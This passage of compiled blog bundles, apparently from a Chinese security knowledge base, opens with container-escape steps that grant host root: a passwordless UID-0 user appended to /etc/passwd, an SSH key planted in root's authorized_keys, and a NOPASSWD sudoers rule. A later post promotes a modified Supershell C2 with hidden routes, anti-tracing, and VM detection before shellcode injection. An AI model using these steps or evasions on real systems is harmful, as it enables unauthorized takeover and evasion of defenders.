/\uff0c\u53ef\u4ee5\u76f4\u63a5\u4fee\u6539\u5173\u952e\u6587\u4ef6\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u65b9\u6cd5 1\uff1a\u76f4\u63a5\u4fee\u6539 ",(0,i.jsx)(e.code,{children:"/etc/passwd"}),"\uff0c\u6dfb\u52a0 root \u6743\u9650\u7528\u6237"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo "hacker::0:0::/root:/bin/bash" >> /mnt/root/etc/passwd\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u5728\u5bbf\u4e3b\u673a\u4e0a\u5207\u6362\u5230 ",(0,i.jsx)(e.code,{children:"hacker"})," \u7528\u6237\u5373\u53ef\u83b7\u5f97 root\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"su hacker\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsxs)(e.strong,{children:["\u65b9\u6cd5 2\uff1a\u5199\u5165 SSH \u516c\u94a5\u5230 ",(0,i.jsx)(e.code,{children:"/root/.ssh/authorized_keys"})]})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:'mkdir -p /mnt/root/root/.ssh\necho "ssh-rsa AAAAB3NzaC1yc2E..." >> /mnt/root/root/.ssh/authorized_keys\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u7136\u540e\uff0c\u76f4\u63a5 SSH \u767b\u5f55\u5bbf\u4e3b\u673a\u7684 root \u7528\u6237\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"ssh root@localhost\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsxs)(e.strong,{children:["\u65b9\u6cd5 3\uff1a\u4fee\u6539 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"})," \u8ba9\u5f53\u524d\u7528\u6237\u514d\u5bc6\u63d0\u6743"]})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /mnt/root/etc/sudoers\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u5728\u5bbf\u4e3b\u673a\u4e0a\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo su"})," \u5373\u53ef\u83b7\u5f97 root\u3002"]})]})}function a(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/assets/js/6348281b.e37d11ba.js b/assets/js/6348281b.e37d11ba.js new file mode 100644 index 0000000..e8fbbfb --- /dev/null +++ b/assets/js/6348281b.e37d11ba.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4145],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>o});var s=n(96540);const r={},l=s.createContext(r);function i(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(l.Provider,{value:t},e.children)}},94306:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>o,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","title":"4.3 DenseNet.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.3 DenseNet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.3 DenseNet.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.2 GoogleNet.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet"},"next":{"title":"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b"}}');var r=n(74848),l=n(28453);const i={},o="4.3 DenseNet.md",d={},c=[];function h(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"43-densenetmd",children:"4.3 DenseNet.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/656fddd2.7cc7639a.js b/assets/js/656fddd2.7cc7639a.js new file mode 100644 index 0000000..22b90aa --- /dev/null +++ b/assets/js/656fddd2.7cc7639a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9318],{292:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525099-20251103153630370-a1e325e7362f047772ee1bf566a5148e.png"},9402:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525106-20251103153630377-dd476fdb7e91a9982a67928a27b33689.png"},18990:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525107-20251103153630400-e10cdef1a2b7cc52962bc5c75327d7b5.png"},23827:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>d,contentTitle:()=>c,default:()=>o,frontMatter:()=>r,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539","title":"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/02.Supershell\u4e8c\u5f00\u4fee\u6539.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/02.Supershell\u4e8c\u5f00\u4fee\u6539.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605"},"next":{"title":"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883"}}');var i=n(74848),l=n(28453);const r={},c="Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90",d={},a=[{value:"\u524d\u7f6e\u9632\u5fa1",id:"\u524d\u7f6e\u9632\u5fa1",level:2},{value:"\u8def\u7531\u4fee\u6539",id:"\u8def\u7531\u4fee\u6539",level:2},{value:"\u865a\u62df\u673a\u68c0\u6d4b",id:"\u865a\u62df\u673a\u68c0\u6d4b",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function h(e){const s={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(s.header,{children:(0,i.jsx)(s.h1,{id:"supershell\u4e8c\u5f00\u4fee\u6539\u81ea\u5b9a\u4e49\u8def\u7531\u9632\u6eaf\u6e90",children:"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(s.table,{children:[(0,i.jsx)(s.thead,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(s.tbody,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.td,{style:{textAlign:"left"},children:(0,i.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(s.td,{style:{textAlign:"left"},children:"2025-11-03 15:38:42"})]})})]}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsx)(s.p,{children:"\u7531\u4e8e\u4f20\u64ad\u3001\u5229\u7528\u672c\u6587\u6240\u63d0\u4f9b\u7684\u4fe1\u606f\u800c\u9020\u6210\u7684\u4efb\u4f55\u76f4\u63a5\u6216\u8005\u95f4\u63a5\u7684\u540e\u679c\u53ca\u635f\u5931\uff0c\u5747\u7531\u4f7f\u7528\u8005\u672c\u4eba\u8d1f\u8d23\uff0c\u516c\u4f17\u53f7\u53ca\u4f5c\u8005\u4e0d\u4e3a\u6b64\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\uff0c\u4e00\u65e6\u9020\u6210\u540e\u679c\u8bf7\u81ea\u884c\u627f\u62c5\uff01\u5982\u6709\u4fb5\u6743\u70e6\u8bf7\u544a\u77e5\uff0c\u6211\u4eec\u4f1a\u7acb\u5373\u5220\u9664\u5e76\u81f4\u6b49\u3002\u8c22\u8c22\uff01"}),"\n"]}),"\n",(0,i.jsxs)(s.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f",(0,i.jsx)(s.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff01",(0,i.jsx)(s.strong,{children:"Supershell"})," \u662f\u4e00\u4e2a\u901a\u8fc7WEB\u670d\u52a1\u8bbf\u95ee\u7684C2\u8fdc\u63a7\u5e73\u53f0\uff0c\u901a\u8fc7\u5efa\u7acb\u53cd\u5411SSH\u96a7\u9053\uff0c\u83b7\u53d6\u5b8c\u5168\u4ea4\u4e92\u5f0fShell\uff0c\u652f\u6301\u591a\u5e73\u53f0\u67b6\u6784Payload\u3002\u4f46\u7531\u4e8e\u4ed6\u7684 Web \u6307\u7eb9\u5b9e\u5728\u662f\u641c\u7d22\u8fc7\u4e8e\u7b80\u5355\uff0c\u4e00\u6761fofa \u547d\u4ee4\u5373\u53ef\u67e5\u51fa\u6765\u3002\u5bfc\u81f4\u9690\u79d8\u6027\u5927\u5927\u964d\u4f4e\u3002\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u7684\u662f",(0,i.jsx)(s.strong,{children:"Supershell"}),"\u7684\u4e8c\u6b21\u4fee\u6539\u7248\u672c\uff0c\u5728\u539f\u6709\u57fa\u7840\u4e0a\uff0c\u589e\u52a0\u4e86",(0,i.jsx)(s.strong,{children:"\u524d\u7f6e\u9632\u5fa1"}),"\u3001\u548c",(0,i.jsx)(s.strong,{children:"\u4efb\u610f\u4fee\u6539\u540e\u7aef\u8def\u7531"}),"\u3001",(0,i.jsx)(s.strong,{children:"\u865a\u62df\u673a\u68c0\u6d4b"}),"\u3002\u672c\u6587\u7528\u5230\u7684 ",(0,i.jsx)(s.strong,{children:"Supershell"}),"\uff0c\u662f\u6211\u4eb2\u81ea\u4fee\u6539\uff0c\u5e76\u4e14\u5b8c\u5168\u514d\u8d39\u7ed9\u5230\u5927\u5bb6\uff0c\u5de5\u5177\u6211\u5df2\u7ecf\u653e\u5728\u767e\u5ea6\u7f51\u76d8\uff0c\u516c\u4f17\u53f7\u56de\u590d\u3010",(0,i.jsx)(s.strong,{children:"Supershell\u4e8c\u5f00"}),"\u3011\u5373\u53ef\u83b7\u5f97\u4e0b\u8f7d\u94fe\u63a5\u3002"]}),"\n",(0,i.jsx)(s.h2,{id:"\u524d\u7f6e\u9632\u5fa1",children:"\u524d\u7f6e\u9632\u5fa1"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103145055987",src:n(292).A+"",width:"2582",height:"980"})}),"\n",(0,i.jsx)(s.p,{children:"\u53ef\u4ee5\u770b\u5230\uff0c\u52a0\u5165\u4e86\u524d\u7f6e\u9632\u5fa1\u540e\uff0c\u4e0d\u4f1a\u66b4\u9732\u7f51\u7ad9\u7684\u6240\u6709\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u4e0e\u539f\u6709\u7684\u767b\u5f55\u8d26\u53f7\u9694\u79bb\u5f00\u6765\uff0c\u4f60\u4e0d\u5fc5\u62c5\u5fc3nginx \u7684\u8d26\u53f7\u6cc4\u9732\u540e\uff0c\u5bf9\u6574\u4e2a\u7cfb\u7edf\u7684\u5b89\u5168\u53d7\u5230\u5f71\u54cd\u3002"}),"\n",(0,i.jsx)(s.h2,{id:"\u8def\u7531\u4fee\u6539",children:"\u8def\u7531\u4fee\u6539"}),"\n",(0,i.jsxs)(s.p,{children:["\u8fd9\u4e00\u90e8\u5206\uff0c\u6211\u9488\u5bf9\u767b\u5f55\u63a5\u53e3\uff0c\u548c\u540e\u53f0\u8def\u5f84\u505a\u4e86\u9650\u5236\uff0c\u5f53\u4f60\u76f4\u63a5\u8bbf\u95ee\u4f60\u7684 ",(0,i.jsx)(s.strong,{children:"Supershell"}),"\u65f6\uff0c\u4f60\u4f1a\u53d1\u73b0\uff0c\u5982\u679c\u4f60\u6ca1\u6709\u767b\u5f55\uff0c\u4f60\u4f1a\u8df3\u8f6c\u5230",(0,i.jsx)(s.code,{children:"/supershell/login"})," \u8fd9\u4e2a\u8def\u5f84\uff0c\u8fd9\u76f4\u63a5\u66b4\u9732\u4e86\u4f60\u540e\u53f0\u7684\u5730\u5740\u3002\u5176\u4ed6\u7684\u4eba\u53ef\u4ee5\u76f4\u63a5\u7206\u7834\u8fd9\u4e2a\u63a5\u53e3\uff0c\u4ece\u800c\u63a7\u5236\u7684 C2 \u670d\u52a1\u5668\u3002"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103150131160",src:n(36234).A+"",width:"2030",height:"1366"})}),"\n",(0,i.jsx)(s.p,{children:"\u8fd9\u662f\u4fee\u6539\u540e\u7684\u8bbf\u95ee\uff0c\u53ef\u4ee5\u5f88\u660e\u663e\u7684\u770b\u5230\uff0c\u5373\u4f7f\u6ca1\u6709 \u524d\u7f6e\u9632\u5fa1\u522b\u4eba\u4e5f\u80fd\u96be\u731c\u5230\u4f60\u7684\u540e\u53f0\u8def\u7531\u3002"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103145859921",src:n(89935).A+"",width:"1680",height:"914"})}),"\n",(0,i.jsxs)(s.p,{children:["\u6211\u4eec\u53ef\u4ee5\u5bf9\u8fd9\u4e2a\u540e\u53f0\u8def\u7531\u4efb\u610f\u4fee\u6539\uff0c\u4f8b\u5982\u6211\u4eec\u4fee\u6539\u6210",(0,i.jsx)(s.code,{children:"/aaaaa"}),"\uff0c\u5e76\u91cd\u65b0\u542f\u52a8\u5bb9\u5668"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103150323858",src:n(40678).A+"",width:"2496",height:"1026"})}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sh",children:"docker-compose down && docker-compose up -d\n"})}),"\n",(0,i.jsxs)(s.p,{children:["\u91cd\u65b0\u542f\u52a8\u540e\uff0c\u6211\u4eec\u8bbf\u95ee",(0,i.jsx)(s.code,{children:"http://172.20.10.13:8888/aaaaa/login"}),"\uff0c\u5c31\u4f1a\u5f39\u51fa\u767b\u5f55\u754c\u9762\u4e86"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103150459347",src:n(50829).A+"",width:"1934",height:"1358"})}),"\n",(0,i.jsx)(s.h2,{id:"\u865a\u62df\u673a\u68c0\u6d4b",children:"\u865a\u62df\u673a\u68c0\u6d4b"}),"\n",(0,i.jsxs)(s.p,{children:["\u5728\u539f\u6709\u7684\u5ba2\u6237\u7aef\u4ee3\u7801\u4e2d\u4fee\u6539\u4e86 ",(0,i.jsx)(s.strong,{children:"main"})," \u51fd\u6570\u7684\u903b\u8f91\uff0c\u5728\u6ce8\u5165 ",(0,i.jsx)(s.strong,{children:"ShellCode"}),"\u524d\uff0c\u68c0\u6d4b\u4e86\u662f\u5426\u4e3a\u865a\u62df\u673a\u73af\u5883\uff08\u5982\u679c\u4f60\u4e0d\u9700\u8981\u865a\u62df\u673a\u68c0\u6d4b\uff0c\u53ea\u9700\u8981\u6ce8\u91ca\u4e0b\u9762\u56fe\u7247\u4e2d\u5708\u8d77\u6765\u7684\u4ee3\u7801\u5373\u53ef\uff0c\u4e0d\u9700\u8981\u91cd\u542f\u73af\u5883\uff09"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103150716899",src:n(83003).A+"",width:"2460",height:"948"})}),"\n",(0,i.jsx)(s.p,{children:"\u53ef\u4ee5\u770b\u5230\u6211\u662f\u7528\u4e00\u4e2a\u865a\u62df\u673a\u8fd0\u884c\uff0c\u76f4\u63a5\u4f1a\u9000\u51fa\u7a0b\u5e8f"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103150802073",src:n(9402).A+"",width:"1328",height:"128"})}),"\n",(0,i.jsx)(s.p,{children:"\u4f7f\u7528\u4e00\u4e2a\u771f\u673a\u8fd0\u884c\uff0c\u76f4\u63a5\u5c31\u8fd0\u884c\u6210\u529f\u4e86"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103150901565",src:n(18990).A+"",width:"1458",height:"326"})}),"\n",(0,i.jsx)(s.p,{children:"\u5e76\u4e14\u540e\u53f0\u4e5f\u662f\u80fd\u591f\u67e5\u8be2\u5230\u7684"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251103151145829",src:n(78983).A+"",width:"3020",height:"870"})}),"\n",(0,i.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(s.p,{children:["\u90a3\u4e48\u4eca\u5929\u7684\u5206\u4eab\u5c31\u5230\u8fd9\u91cc\uff5e \u5982\u679c\u4f60\u4e5f\u60f3\u83b7\u5f97 ",(0,i.jsx)(s.strong,{children:"Supershell"})," \u4e8c\u6b21\u4fee\u6539\u540e\u7684\u6e90\u7801\uff0c\u6216\u8005\u60f3\u4e86\u89e3\u66f4\u591a",(0,i.jsx)(s.strong,{children:"AI \u5de5\u5177\u4e0e\u5b89\u5168\u798f\u5229"}),"\uff0c\u8bb0\u5f97",(0,i.jsx)(s.strong,{children:"\u5173\u6ce8\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u5e26\u4f60",(0,i.jsx)(s.strong,{children:"\u89e3\u9501\u66f4\u591a\u9690\u85cf\u798f\u5229\uff0c\u73a9\u8f6c\u524d\u6cbf\u79d1\u6280\uff01"})," \u56de\u590d\u3010",(0,i.jsx)(s.strong,{children:"Supershell\u4e8c\u5f00"}),"\u3011\uff0c\u83b7\u53d6\u9886\u53d6\u5730\u5740"]})]})}function o(e={}){const{wrapper:s}={...(0,l.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(h,{...e})}):h(e)}},28453:(e,s,n)=>{n.d(s,{R:()=>r,x:()=>c});var t=n(96540);const i={},l=t.createContext(i);function r(e){const s=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function c(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),t.createElement(l.Provider,{value:s},e.children)}},36234:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525101-20251103153630312-36b96339f46a345c5fc57e64ef1869c3.png"},40678:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525103-20251103153630350-553bcfbbdb6aefcf08e6c864fb82c7c9.png"},50829:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525104-20251103153630369-ac483afb04ffd54e81b38c927edd1cc1.png"},78983:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525108-20251103153630477-2b41cae60abda1afae1c30b29a0404ea.png"},83003:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525105-20251103153630429-8d6c8ec6826aed1acc040e9450a3be7c.png"},89935:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511031525102-20251103153630350-9750e81abd6daed9497373c467fe1422.png"}}]); \ No newline at end of file diff --git a/assets/js/65b6b7e6.fa3d4764.js b/assets/js/65b6b7e6.fa3d4764.js new file mode 100644 index 0000000..01f0a5b --- /dev/null +++ b/assets/js/65b6b7e6.fa3d4764.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7616],{1020:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223140912091-1ed8670931790954beebde1bffbd2ff0.png"},5988:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/frp-16717198352574-0ae36dc64cc793a97d82409fff171680.png"},9583:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223135852257-b91a99520a06a75e37e617be7630de37.png"},23263:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221222225645289-0902b028b55b6a96a4590f0631d9d116.png"},26503:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221222225738880-79e01cfbeb8c4b9f5f0bf0bc8db786ec.png"},28453:(e,i,s)=>{s.d(i,{R:()=>c,x:()=>d});var n=s(96540);const r={},l=n.createContext(r);function c(e){const i=n.useContext(l);return n.useMemo(function(){return"function"==typeof e?e(i):{...i,...e}},[i,e])}function d(e){let i;return i=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),n.createElement(l.Provider,{value:i},e.children)}},35034:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221222221709180-3b2366552bb4be03e89d778a5977a96f.png"},37740:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221222221832761-4369e0198876a85de89e769af879d6fc.png"},40291:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223140334555-f385c6ba2538a3951c74abaa156e0bf5.png"},43894:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221222225408223-582ec85bc42929557c6cfdb6c475fdc8.png"},50071:(e,i,s)=>{s.d(i,{A:()=>n});const n="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABREAAAAzCAYAAAAAXk+FAAAgAElEQVR4nO3dUWgbR/4H8O8dB7GVhotrNmBTRNw03HIpVsHmvIJQSTQckrngPljpkYcaJS9JFJqSPkiFHiY4XO0Hh6YkWC+NT3nKRX0JDZE4UqSEgmWIoUruYI80Z7MUm8vWlwupRfJ0/wf/dypZsjQrr2NZ/X6gNJLGuzOzs79djWZnfvHKK6/8D/8vl8shnU5jYmLCeguJRAIAcOLECZQKBoOIx+MYHx9HJpNBNbXSJBIJqKoqXpumiXv37uHKlSswTbPq9qqplr9YLIZQKAS/31+xv9L3SuVyOeTzecTjcfHe1atXUSwWK8pubSubzeLcuXMV20qlUlhcXMSZM2dw9epVPHnyBGfOnJEuk0VVVRw6dAj79+/H/v374XK5cPnyZaRSqZpltSiKgmQyiZWVFdy7dw8A0NHRAU3TKo5Jvfqpty8ny5XL5aDruqj3au2o2vFay06aXC5X9v7Tp08xMzMjnWfZNNY+155npZ/VK7vMdmTTONVWiYiIiIiIiKi1/Word17aWbIRbre77HVHRweKxaKtbRiGgX379onXqqrC7XYjn8+XpYvFYqIDMRAIYHZ2tqJz586dOxgeHkYwGITb7UY2m7VZolW6rkPXdQCrHYKpVAoHDx6s6JSy8multfT19cHlcuHzzz8XeYxEItA0raH81NqXHXbKBQBvvPFGxXuGYaC3txeKoqzb6SyTxjRN7N69e92OcDt5tlsuGdXKXqqjo6PuNmqlcaqtEhEREREREVFr29JORKesrKzg4sWLSKfT8Hg80DRNdP6pqoq9e/fC5XIBWB3ZtXaUGQBks1mMjIwgkUhgfn4e/f39AFA2Qs3r9SIUComRXV1dXTh+/Djm5ubKOqlu376N4eFhHD16FABw8+ZN22UaHR3F8+fPxeuenh4AwMOHD8vS3b17F6FQCGNjY2K04crKCi5duoSnT58CgBg52NXVhbfeeku8t7CwAABS9VNvX06Wq1AowOPxYHR0VOS7NM+6ruOrr75CNBpFMpnE7Oys2Objx48xPT0NAFJprl+/jmg0iosXL+Kbb77Bs2fPsGvXLjx48EB0CMrkWfZ41SNTdothGNA0Tey7ra2tYmRsvTROtFUiIiIiIiIian0t0Ym4vLyMxcVF8dhqPp/H5OQkAGBoaAihUEikjcfj0HW9opNsenoae/bsgc/ng6qqME0Tly9fFiPUFEXByZMnYRiGeDT0s88+w4ULF/DJJ5+UPQKq67roDCoUCrYez7a0t7cjEAiI16ZpIp1OV3TYzczMIJlMYnBwUJSzUCiIz9LpNHw+HzRNg2EYmJqaEh2tT548AQCp+qm3LyfLde3aNezYsQOBQAC6riOZTOLTTz8VedZ1XYzuO3z4cNn2ksmk+LfdNNFoFABQLBYxNjZmK8+yx6sembJbpqamcPbsWbHfaqMI66Vxoq0SERERERERUev7RemciNvRenM2brVIJIKRkZGac0YSNQO2VSIiIiIiIiKqpyVGIjaLYDAIv9+P7u5uMZ8iO2Wo